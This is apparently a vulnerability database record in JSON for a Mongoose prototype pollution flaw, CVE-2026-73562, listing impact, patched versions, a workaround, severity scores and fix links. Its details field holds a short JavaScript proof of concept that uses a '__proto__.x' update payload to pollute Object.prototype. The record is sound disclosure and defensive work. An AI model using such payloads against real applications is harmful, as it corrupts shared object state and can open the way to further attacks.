{"id":"CVE-2026-73562","aliases":["BIT-mongoose-2026-73562","GHSA-664h-wqgq-64gw"],"url":"https://o3.security/vulnerability/CVE-2026-73562","summary":"Mongoose: Prototype pollution in the update casting via __proto__-prefixed dotted path (Schema._getSchema/path getter)","details":"### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nPrototype pollution in update casting: passing a user-controlled update to a Mongoose update, like `MyModel.updateOne(filter, req.body)`, can cause Mongoose to set `$fullPath` and `$parentSchemaDocArray` on `Object.prototype`.\n\nExample:\n\n```javascript\nconst mongoose = require('mongoose');\nconsole.log('before:', Object.prototype.$fullPath);            // undefined\n\nconst User = mongoose.model('User', new mongoose.Schema({ name: String }));\nconst malicious = JSON.parse('{\"$set\": {\"__proto__.x\": \"anything\"}}');   // attacker-controlled update\n\nconst q = User.updateOne({}, {});\ntry { q._castUpdate(malicious); } catch (e) { /* throws AFTER the pollution side-effect */ }\n\nconsole.log('after :', Object.prototype.$fullPath);            // \"__proto__\"\nconsole.log('enumerable:', Object.prototype.propertyIsEnumerable('$fullPath'));  // true\nconsole.log('fresh {}:', ({}).$fullPath);                      // \"__proto__\"\n```\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n9.7.2, 8.24.1. 7.8.10, 6.13.10\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nCheck user-controlled updates for own `__proto__` properties before passing to Mongoose\n\n### References\n_Are there any links users can visit to find out more?_","published":"2026-08-13T17:27:09.914Z","modified":"2026-09-20T11:30:54.940286516Z","cvss":{"score":6.5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L"},"epss":{"score":0.00369,"percentile":0.30313,"asOf":"2026-09-15"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"mongoose","fixedVersion":"6.13.10"},{"ecosystem":"npm","name":"mongoose","fixedVersion":"7.8.10"},{"ecosystem":"npm","name":"mongoose","fixedVersion":"8.24.1"},{"ecosystem":"npm","name":"mongoose","fixedVersion":"9.7.2"}],"fix":{"url":"https://github.com/Automattic/mongoose/commit/35a3f33bc9a0a28671f99e3c5010000425650d0f","label":"Automattic/mongoose@35a3f33"},"references":[{"type":"ADVISORY","url":"https://github.com/Automattic/mongoose/security/advisories/GHSA-664h-wqgq-64gw"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/73xxx/CVE-2026-73562.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73562"},{"type":"FIX","url":"https://github.com/Automattic/mongoose/commit/35a3f33bc9a0a28671f99e3c5010000425650d0f"},{"type":"FIX","url":"https://github.com/Automattic/mongoose/commit/7285466b860d3b511f8d07b2ab72656703ee707a"},{"type":"FIX","url":"https://github.com/Automattic/mongoose/commit/953d085bee5a16b5d6c5af33a156e6314d6d9a45"},{"type":"FIX","url":"https://github.com/Automattic/mongoose/commit/fab793b747131c68927888cba41cf3e6d6593740"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/pull/16230"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/commit/f494b8430f9097fc70446d6949c8a42a27518e0b"},{"type":"PACKAGE","url":"https://github.com/Automattic/mongoose"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/releases/tag/6.13.10"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/releases/tag/7.8.10"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/releases/tag/8.24.1"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/releases/tag/9.7.2"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-20T11:30:54.940286516Z"}}